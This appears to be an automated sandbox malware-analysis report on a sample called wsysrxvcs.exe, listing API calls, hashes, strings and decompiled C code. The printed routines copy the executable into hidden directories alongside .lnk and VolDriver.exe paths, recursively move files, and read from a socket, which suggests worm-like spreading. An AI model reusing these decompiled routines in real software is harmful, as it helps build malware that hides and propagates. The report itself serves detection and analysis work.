                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004053f9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • _chkstk.NTDLL(?,00405580,?,?,?), ref: 00404F38
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404F6F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404F8F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FAF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FCF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FE8
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 00404FF8
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000080), ref: 00405031
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040503E
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040504B
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040505C
                                                                                                                                                                                                                                                                                                                                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 0040506F
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000002), ref: 00405082
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040508F
                                                                                                                                                                                                                                                                                                                                                      • CopyFileW.KERNEL32(C:\Windows\wsysrxvcs.exe,?,00000000), ref: 004050A7
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000002), ref: 004050BA
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$C:\Windows\wsysrxvcs.exe$shell32.dll$shell32.dll
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3833403615-3557810354
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ca6c75ffb9d41e49a55f49a0fe5d253605e4563a897bb97b030352e93aa939b2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 750ad7f2b2d818bb56bb1e1aefa63b4f363d283544065ae8c355abf3b895641d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ca6c75ffb9d41e49a55f49a0fe5d253605e4563a897bb97b030352e93aa939b2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F7D170B4900218ABCB20DF50DC48BEA77B8FF44344F4485EAF509A6291D7B99BD4CF59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404DF0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85filestringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404DF0(WCHAR* _a4, WCHAR* _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				CreateDirectoryW(_a8, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						wsprintfW( &_v2164, L"%s\\%s", _a8,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404DF0( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}











                                                                                                                                                                                                                                                                                                                                                      0x00404dff
                                                                                                                                                                                                                                                                                                                                                      0x00404e15
                                                                                                                                                                                                                                                                                                                                                      0x00404e1b
                                                                                                                                                                                                                                                                                                                                                      0x00404e2c
                                                                                                                                                                                                                                                                                                                                                      0x00404e32
                                                                                                                                                                                                                                                                                                                                                      0x00404e3f
                                                                                                                                                                                                                                                                                                                                                      0x00404f22
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404e45
                                                                                                                                                                                                                                                                                                                                                      0x00404e45
                                                                                                                                                                                                                                                                                                                                                      0x00404e59
                                                                                                                                                                                                                                                                                                                                                      0x00404e8a
                                                                                                                                                                                                                                                                                                                                                      0x00404eaa
                                                                                                                                                                                                                                                                                                                                                      0x00404eb0
                                                                                                                                                                                                                                                                                                                                                      0x00404ebc
                                                                                                                                                                                                                                                                                                                                                      0x00404ee6
                                                                                                                                                                                                                                                                                                                                                      0x00404ebe
                                                                                                                                                                                                                                                                                                                                                      0x00404ecc
                                                                                                                                                                                                                                                                                                                                                      0x00404ed1
                                                                                                                                                                                                                                                                                                                                                      0x00404ed1
                                                                                                                                                                                                                                                                                                                                                      0x00404ebc
                                                                                                                                                                                                                                                                                                                                                      0x00404f00
                                                                                                                                                                                                                                                                                                                                                      0x00404f0f
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateDirectoryW.KERNEL32(004053BB,00000000), ref: 00404DFF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404E15
                                                                                                                                                                                                                                                                                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 00404E2C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpW.KERNEL32(?,00411554), ref: 00404E51
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpW.KERNEL32(?,00411558), ref: 00404E67
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404E8A
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404EAA
                                                                                                                                                                                                                                                                                                                                                      • MoveFileExW.KERNEL32(?,?,00000009), ref: 00404EE6
                                                                                                                                                                                                                                                                                                                                                      • FindNextFileW.KERNEL32(000000FF,?), ref: 00404EFA
                                                                                                                                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF), ref: 00404F0F
                                                                                                                                                                                                                                                                                                                                                      • RemoveDirectoryW.KERNEL32(?), ref: 00404F19
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s\%s$%s\%s$%s\*
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 92872011-445461498
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 52a72b795cb5c123570ef445a1c9e06afaa23b612055eb1325dae3b5ad11a05e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8d591ecae7a8d421bf2048b330719e2269c0568c37ba9986664fc8f3ed22a2fb
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 52a72b795cb5c123570ef445a1c9e06afaa23b612055eb1325dae3b5ad11a05e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 573147B5500218ABCB10DBA4DC48FDA7779BB88301F00C599F709A3191DB75DAC8CF98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040B430 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 58%
                                                                                                                                                                                                                                                                                                                                                      			E0040B430(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040b439
                                                                                                                                                                                                                                                                                                                                                      0x0040b440
                                                                                                                                                                                                                                                                                                                                                      0x0040b44b
                                                                                                                                                                                                                                                                                                                                                      0x0040b44b
                                                                                                                                                                                                                                                                                                                                                      0x0040b451
                                                                                                                                                                                                                                                                                                                                                      0x0040b454
                                                                                                                                                                                                                                                                                                                                                      0x0040b454
                                                                                                                                                                                                                                                                                                                                                      0x0040b464
                                                                                                                                                                                                                                                                                                                                                      0x0040b468
                                                                                                                                                                                                                                                                                                                                                      0x0040b471
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b479
                                                                                                                                                                                                                                                                                                                                                      0x0040b481
                                                                                                                                                                                                                                                                                                                                                      0x0040b48e
                                                                                                                                                                                                                                                                                                                                                      0x0040b483
                                                                                                                                                                                                                                                                                                                                                      0x0040b486
                                                                                                                                                                                                                                                                                                                                                      0x0040b486
                                                                                                                                                                                                                                                                                                                                                      0x0040b49b
                                                                                                                                                                                                                                                                                                                                                      0x0040b49f
                                                                                                                                                                                                                                                                                                                                                      0x0040b4a5
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ac
                                                                                                                                                                                                                                                                                                                                                      0x0040b4b2
                                                                                                                                                                                                                                                                                                                                                      0x0040b4bd
                                                                                                                                                                                                                                                                                                                                                      0x0040b4bd
                                                                                                                                                                                                                                                                                                                                                      0x0040b4c6
                                                                                                                                                                                                                                                                                                                                                      0x0040b4cf
                                                                                                                                                                                                                                                                                                                                                      0x0040b4cf
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ac
                                                                                                                                                                                                                                                                                                                                                      0x0040b4d4
                                                                                                                                                                                                                                                                                                                                                      0x0040b4e3
                                                                                                                                                                                                                                                                                                                                                      0x0040b4ef
                                                                                                                                                                                                                                                                                                                                                      0x0040b4fb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b4e3
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B442
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B468
                                                                                                                                                                                                                                                                                                                                                      • recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B49F
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B4B4
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040B4D4
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040B4DA
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CountTick$Sleepioctlsocketrecv
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 107502007-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0e74c3e33ec2aa28ec98663b20a66f0c617acb5feec16327e560d5d77fbe482d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: dff8c7912a27c6a5c6132b561c84afc017a05247b3f7c72140559f4e4359e496
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0e74c3e33ec2aa28ec98663b20a66f0c617acb5feec16327e560d5d77fbe482d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A1310A74900209EFCB04DFA4D948AEE7BB1FF48314F10866AE925A3291D7749B90CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040EE1D Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195nativeCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040EE1D(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x415ef0; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x415f38 = 1;
										__eflags =  *0x415f38;
										if( *0x415f38 != 0) {
											goto L60;
										}
										_t84 =  *0x415ef0; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x415f38 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x415ef0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x415ef8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x415ef4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x415f38 = 1;
							__eflags =  *0x415f38;
							if( *0x415f38 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x415f38 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x415ef8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x415ef0 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                                                                                                                                                                                                                                                                                                                                                      0x0040ee27
                                                                                                                                                                                                                                                                                                                                                      0x0040ee2a
                                                                                                                                                                                                                                                                                                                                                      0x0040ee30
                                                                                                                                                                                                                                                                                                                                                      0x0040ee4e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee4e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee38
                                                                                                                                                                                                                                                                                                                                                      0x0040ee41
                                                                                                                                                                                                                                                                                                                                                      0x0040ee47
                                                                                                                                                                                                                                                                                                                                                      0x0040ee56
                                                                                                                                                                                                                                                                                                                                                      0x0040ee59
                                                                                                                                                                                                                                                                                                                                                      0x0040ee5c
                                                                                                                                                                                                                                                                                                                                                      0x0040ee66
                                                                                                                                                                                                                                                                                                                                                      0x0040ee66
                                                                                                                                                                                                                                                                                                                                                      0x0040ee68
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6b
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6f
                                                                                                                                                                                                                                                                                                                                                      0x0040ee72
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee74
                                                                                                                                                                                                                                                                                                                                                      0x0040ee76
                                                                                                                                                                                                                                                                                                                                                      0x0040eedc
                                                                                                                                                                                                                                                                                                                                                      0x0040eedc
                                                                                                                                                                                                                                                                                                                                                      0x0040f03a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f03a
                                                                                                                                                                                                                                                                                                                                                      0x0040ee78
                                                                                                                                                                                                                                                                                                                                                      0x0040ee78
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7c
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee81
                                                                                                                                                                                                                                                                                                                                                      0x0040ee82
                                                                                                                                                                                                                                                                                                                                                      0x0040ee85
                                                                                                                                                                                                                                                                                                                                                      0x0040ee85
                                                                                                                                                                                                                                                                                                                                                      0x0040ee89
                                                                                                                                                                                                                                                                                                                                                      0x0040ee8d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee9b
                                                                                                                                                                                                                                                                                                                                                      0x0040ee9b
                                                                                                                                                                                                                                                                                                                                                      0x0040eea3
                                                                                                                                                                                                                                                                                                                                                      0x0040eea9
                                                                                                                                                                                                                                                                                                                                                      0x0040eeab
                                                                                                                                                                                                                                                                                                                                                      0x0040eead
                                                                                                                                                                                                                                                                                                                                                      0x0040eebd
                                                                                                                                                                                                                                                                                                                                                      0x0040eeca
                                                                                                                                                                                                                                                                                                                                                      0x0040eece
                                                                                                                                                                                                                                                                                                                                                      0x0040eed3
                                                                                                                                                                                                                                                                                                                                                      0x0040eed5
                                                                                                                                                                                                                                                                                                                                                      0x0040ef53
                                                                                                                                                                                                                                                                                                                                                      0x0040ef53
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040ef55
                                                                                                                                                                                                                                                                                                                                                      0x0040ef57
                                                                                                                                                                                                                                                                                                                                                      0x0040f038
                                                                                                                                                                                                                                                                                                                                                      0x0040f038
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef5d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef5d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef64
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef6a
                                                                                                                                                                                                                                                                                                                                                      0x0040ef6e
                                                                                                                                                                                                                                                                                                                                                      0x0040efca
                                                                                                                                                                                                                                                                                                                                                      0x0040efcc
                                                                                                                                                                                                                                                                                                                                                      0x0040efd4
                                                                                                                                                                                                                                                                                                                                                      0x0040efd6
                                                                                                                                                                                                                                                                                                                                                      0x0040efd8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efda
                                                                                                                                                                                                                                                                                                                                                      0x0040efe0
                                                                                                                                                                                                                                                                                                                                                      0x0040efe2
                                                                                                                                                                                                                                                                                                                                                      0x0040efe4
                                                                                                                                                                                                                                                                                                                                                      0x0040eff9
                                                                                                                                                                                                                                                                                                                                                      0x0040eff9
                                                                                                                                                                                                                                                                                                                                                      0x0040effb
                                                                                                                                                                                                                                                                                                                                                      0x0040f02a
                                                                                                                                                                                                                                                                                                                                                      0x0040f031
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f031
                                                                                                                                                                                                                                                                                                                                                      0x0040efff
                                                                                                                                                                                                                                                                                                                                                      0x0040f000
                                                                                                                                                                                                                                                                                                                                                      0x0040f002
                                                                                                                                                                                                                                                                                                                                                      0x0040f004
                                                                                                                                                                                                                                                                                                                                                      0x0040f004
                                                                                                                                                                                                                                                                                                                                                      0x0040f006
                                                                                                                                                                                                                                                                                                                                                      0x0040f008
                                                                                                                                                                                                                                                                                                                                                      0x0040f00a
                                                                                                                                                                                                                                                                                                                                                      0x0040f01e
                                                                                                                                                                                                                                                                                                                                                      0x0040f01e
                                                                                                                                                                                                                                                                                                                                                      0x0040f021
                                                                                                                                                                                                                                                                                                                                                      0x0040f023
                                                                                                                                                                                                                                                                                                                                                      0x0040f023
                                                                                                                                                                                                                                                                                                                                                      0x0040f024
